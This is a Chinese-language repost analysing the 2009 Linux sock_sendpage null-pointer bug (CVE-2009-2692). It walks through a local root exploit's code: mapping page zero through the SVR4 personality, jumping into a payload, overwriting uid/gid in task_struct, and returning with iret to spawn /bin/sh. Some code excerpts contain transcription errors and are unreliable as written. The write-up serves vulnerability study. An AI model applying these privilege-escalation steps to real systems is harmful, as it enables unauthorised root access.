[轉]sendpage漏洞分析 CVE-2009-2692

之前看了《新爆内核高危漏洞sock_sendpage的利用分析的讨论 》这篇帖子，在九贱兄和诸位CUer的指引下，大致弄清了整个漏洞的始末。现与大家分享（引用自我的空间 ）。
有什么不足之处还望多多指教~

内核的BUG 

这个BUG首先得从sendfile系统调用说起。
考虑将一个本地文件通过socket发送出去的问题。我们通常的做法是：打开文件fd和一个socket，然后循环地从文件fd中read数据，并将读取 的数据send到socket中。这样，每次读写我们都需要两次系统调用，并且数据会被从内核拷贝到用户空间(read)，再从用户空间拷贝到内核 (send)。

而sendfile就将整个发送过程封装在一个系统调用中，避免了多次系统调用，避免了数据在内核空间和用户空间之间的大量拷贝。

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

虽然这个系统调用接收in和out两个fd，但是有所限制，in只能是普通文件，out只能是socket（这个限制不知道后来的内核版本有没有放宽）。

sendfile系统调用在内核里面是怎么实现的呢？这个还是比较复杂，它在内核里面做了原来要在用户态做的事情：创建一个pipe对象作buffer用、从in_fd中读数据到pipe中、将pipe中的数据写到out_fd、循环直到满足结束条件。
关于写数据到out_fd的过程，简要描述如下：
sys_sendfile  => 入口
do_sendfile  => 参数检查，其中会确定out_fd对应的file结构包含sendfile方法(out_file->f_op->sendpage)
do_splice_direct  => 最终调用到out_file->f_op->splice_write，而out_file是个socket，它的f_op->splice_write等于generic_splice_sendpage
generic_splice_sendpage  => 最终调用到out_file->f_op->sendpage，这个sendpage等于sock_sendpage

sock_sendpage的代码如下：

struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
     flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);

注意，BUG出现了，调用sock->ops->sendpage之前没有判断这个函数指针是否为NULL。
(这里调用的sock->ops->sendpage就是 out_file->f_op->private_data->ops->sendpage，out_file->f_op->private_data 指针指向的是一个struct socket结构，因为这个fd代表的是一个socket。)

但是，这里的sock->ops->sendpage可能是NULL吗？搜索内核代码可以发现，并不是每一种类型的socket都会实现 sendpage这个函数。但是大多数没有实现这个函数的socket都将这个函数指针设为sock_no_sendpage(这基本上是一个例行公事的 空函数)。但是，有少数类型的socket却没有设置sock->ops->sendpage(没设置，则默认为NULL)，如 PF＿PPPOX、PF＿BLUETOOTH、等等。(上面链接给出的代码就利用了PF＿PPPOX，后来我发现，用PF＿BLUETOOTH也能达到一 样的效果，而换用PF_INET之类的却不行。)

利用这个BUG 

前面我们看到，内核在sendfile系统调用中，没有判断sock->ops->sendpage是否为空，就对它进行调用，并且sock->ops->sendpage的确可能为空。

如果我们的程序中调用一个值为NULL的函数指针，其结果会怎样？自然是程序崩溃，也仅仅就是崩溃而已。那么，这么个东西是怎么被利用，并实现窃取root身份的呢？让我们逐步解读上面链接给出的代码。
主函数main()：

char template[] = "/tmp/padlina.XXXXXX";  
int fdin, fdout;  
void *page;  
uid = getuid();  // 获取用户ID，后面有用 
gid = getgid();  // 获取用户组ID，后面有用 
setresuid(uid, uid, uid);  // 确保用户ID被设置到进程中 
setresgid(gid, gid, gid);  // 确保用户组ID被设置到进程中 
// 以下几句就狠了，它把0～1000的地址做了映射，并且置可执行属性 
if ((personality(0xffffffff)) != PER_SVR4) {  
     if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {  
          perror("mmap") ;  
          return -1;  
     }  
} else {  
     if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {  
          perror("mprotect") ;  
          return -1;  
     }  
}  
// 以下几句更狠，在刚刚映射的0地址上写下JMP到kernel_code的指令 
*(char *)0 = '/x90';  // nop 
*(char *)1 = '/xe9';  // jmp 
*(unsigned long *)2 = (unsigned long)&kernel_code – 6;  // 这里是相对跳转，-6就是减去当前地址的地址值 
// 创建一个临时文件，用作源文件 
if ((fdin = mkstemp(template)) < 0) {  
     perror("mkstemp") ;  
     return -1;  
}  
// 创建一个socket，注意其类型为PF_PPPOX 
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {  
     perror("socket") ;  
     return -1;  
}  
// 下面重点就是sendfile了 
unlink(template);  
ftruncate(fdin, PAGE_SIZE);  
sendfile(fdout, fdin, NULL, PAGE_SIZE);

经过前面的介绍，我们可以看到，这里的sendfile将在系统调用中触发对0地址的调用。然而，现在0地址上已经被写下了JMP到kernel_code的指令。
这里的kernel_code实际上是和这个main在一起编译的一个函数，下面我们将会看到。

现在的处境

进入sendfile系统调用后，CPU进入内核态。内核态能干任何CPU能干的事情，一般情况下，只有内核代码能在内核态下执行，这是由内核来保证的。 但是现在，内核代码调用了0地址的函数，进入了用户代码kernel_code。于是，程序员可以在他们自己写的kernel_code代码中干任何内核 能干的事情。
注意，一般从内核态返回到用户态有专门的指令(比如iret)，它会同时改变CPU特权级别。但是现在的情况不是这样，内核代码相当于是直接调用程序员写的函数，并没有返回用户态。

然而另一方面，内核代码可以轻松地访问内核的数据结构，因为内核代码是在一块编译的，对象的地址都知道、结构都清楚。而现在程序员写在kernel_code里的代码呢？尽管他们拥有与内核代码一样的访问权限，但是却不知道数据的地址和状态，他们现在是个瞎子。
下面，你会看到在kernel_code的代码中，示例代码的作者是怎样摸着石头过河的。

开始干坏事了

kernel_code函数主要分三个步骤：

1、获取task_struct

uint *p = get_current();

其中get_current的代码如下：

__asm__ __volatile__ (  
     "movl %%esp, %%eax ;"  // 将栈指针的值赋给EAX 
     "andl %1, %%eax ;"  // 将这个栈指针值与~8191(后13bit为0)取与 
     "movl (%%eax), %0"  // 将结果输出到curr变量中，此即task_struct指针 
     : "=r" (curr)  
     : "i" (~8191)  
);

在内核中，每个进程拥有一个thread_info结构，以及内核栈。这两样东西是分配在两个连续的page中的，并且thread_info结构在前， 栈在后。thread_info结构的第一个元素是task，它是一个指向task_struct结构(即通常所说的进程控制块)的指针。在这个 task_struct结构中就保存着进程的主要信息。
（注：linux 2.4时，这里的两个page存放着task_struct结构和内核栈，并没有thread_info这样一层。）
在32位系统中，一个page的大小是4K，page的首字节的地址后12bit为0。而task_struct结构相当于是两page对齐的，其首地址的后13bit为0。
由此，通过栈指针的值，将后13bit清0后，得到进程对应的thread_info结构，再以thread_info结构为指针（该结构的第一个字，即指向task_struct结构的task指针），便能得到task_struct结构。
（其实，通过这样一段汇编代码拿到task_struct结构还是比较笨的办法。最简单的办法是：取当前栈上定义的任意一个变量，将其地址的后13位清0即可。）

2、拿到了task_struct，要干什么呢？示例代码的目标是修改task_struct中记录的用户信息，以使得这个进程变成是由root启动的进程。

for (i = 0; i < 1024-13; i++) {       
     if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {  
          p[0] = p[1] = p[2] = p[3] = 0;  
          p[4] = p[5] = p[6] = p[7] = 0;  
          p = (uint *) ((char *)(p + 8 ) + sizeof(void *));  
          p[0] = p[1] = p[2] = ~0;  
          break;  
     }  
     p++;  
}

回想一下，在main函数中已经获取了用户和用户组ID，并设置到了进程中(设置到进程了task_struct结构中)。于是，搜索 task_struct结构，试图匹配这几个ID。因为在不同版本的内核中，这几个ID放置的位置可能不大相同，但它们出现的顺序总是相同的。
如果被匹配到，那么就找到了这几个ID的存放地。然后，就可以将它们全部改为0。于是这个进程就变成root用户的进程了。

不过这种修改uid的方法在较新版本的内核中已经行不通了，uid、gid这些信息已经不是直接放在task_struct结构中，而是整理到一个叫cred的结构，然后task_struct结构保存了指向对应cred结构的指针。

3、回到用户态
好了，身份已经改好，程序回到用户态去，启动一个shell，然后好好体会root生活吧～

__asm__ __volatile__ (  
     "movl %0, 0x10(%%esp) ;"  
     "movl %1, 0x0c(%%esp) ;"  
     "movl %2, 0x08(%%esp) ;"  
     "movl %3, 0x04(%%esp) ;"  
     "movl %4, 0x00(%%esp) ;"  
     "iret"  
     : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),  
     : "i" (USER_CS), "r" (exit_code)  
);

这段代码就是将返回地址压在内核栈上，然后iret返回用户态。返回地址被指定到exit_code上，这也是和main编译在一起的一个函数。其代码如下：

if (getuid() != 0) {  
     fprintf(stderr, "failed/n") ;  
     exit(-1);  
}  
execl("/bin/sh", "sh", "-i", NULL);

现在程序已经回到用户态了，调用getuid看看是不是已经成了root。确认无洖，启动shell吧～

问题的点睛

虽然上面的叙述一口气把这个内核漏洞的来龙去脉讲通了，但是有个重要的细节却一笔代过了。那就是映射0地址的部分，我觉得这才是整个攻击代码的点睛之笔。其代码大致如下：

if ((personality(0xffffffff)) != PER_SVR4) {  
     mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0);
} else {  
     mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
}

映射0地址，为什么不是直接的mmap，还要有这样的分支语句呢？personality函数和mprotect函数又是什么意思？
其实，这段攻击代码编译成的可执行文件（记为exploit）并不是直接在shell上面执行的。而是通过一段C代码来执行（见源码中的run.c）：

int main(void) {
     if (personality(PER_SVR4) < 0) {
          perror("personality") ;
          return -1;
     }
     fprintf(stderr, "padlina z lublina!/n") ;
     execl("./exploit", "exploit", 0);
}

可以看到，在执行之前，也调用了personality函数。

linux内核具有很强的兼容性，不仅可以执行linux下编译的可执行文件，还可以执行在其他操作系统下编译的可执行文件：对于windows等一些操 作系统上的可执行文件，linux通过运行于用户态的虚拟机程序（如wine）来运行；而对于某些类unix系统的可执行文件，linux则可以直接执 行。
然而linux直接执行类unix系统的可执行文件，也并不是无缝的，需要设置“执行域”来告诉内核当前执行的是某某系统的可执行文件。于是，linux内核就会根据对应的类unix系统的规则（比如内存布局、信号处理等）来运行程序。

上面看到的personality函数就是用来设置“执行域”的（默认的执行域就是linux），而上面的启动代码就通过personality函数将进 程的执行域设置为SVR4（一种较老的类unix系统，System V Release 4）。于是，在映射0地址时将走到调用mprotect函数的分支（personality(0xffffffff)表示获取当前的执行域）。
mmap是用来分配进程虚拟内存区域的函数，分配的同时可以设置其属性；而mprotect函数则是专门设置虚拟内存区域属性的函数。上面的攻击代码中，通过这个函数，把0地址设置为可执行。

在我的系统上，如果直接在shell上执行exploit程序（走mmap的分支），mmap会失败。因为在32位linux上，进程地址空间是从 0x08048000开始使用的（依次是可执行代码区、全局数据区、堆、文件映射区、栈），从0地址到0x08048000的空间并不能被映射。

exploit程序之所以能够映射0地址，是因为发现了在SVR4这种执行域下，进程能够映射0地址。确切的说，0地址默认是有映射的存在的，代码只是修改了这个映射的属性。

在linux 2.6.29.4的代码中找到了以下一些内容：
personality.h，对SVR4执行域有如下选项定义（注意其中有个MMAP_PAGE_ZERO 标记）：
enum {
......
PER_SVR4 =   0x0001 | STICKY_TIMEOUTS | MMAP_PAGE_ZERO,
......
};

binfmt_elf.c:load_elf_binary()，在加载elf格式（linux下最常用的格式）的可执行文件时，有如下代码（针对MMAP_PAGE_ZERO 标记做了特殊处理）：
    ......
if (current->personality & MMAP_PAGE_ZERO) {
      /* Why this, you ask??? Well SVr4 maps page 0 as read-only,
       and some applications "depend" upon this behavior.
       Since we do not have the power to recompile these, we
       emulate the SVr4 behavior. Sigh. */ 
      down_write(&current->mm->mmap_sem);
       error = do_mmap(NULL, 0, PAGE_SIZE, PROT_READ | PROT_EXEC,
       MAP_FIXED | MAP_PRIVATE, 0);
       up_write(&current->mm->mmap_sem);
}
......

看到作者的注释了吧~ 就这样，0地址被映射了。

一篇分析这个内核BUG的paper:
http://hi.baidu.com/wzt85/blog/item/a11e013e3384f2f3838b13e6.html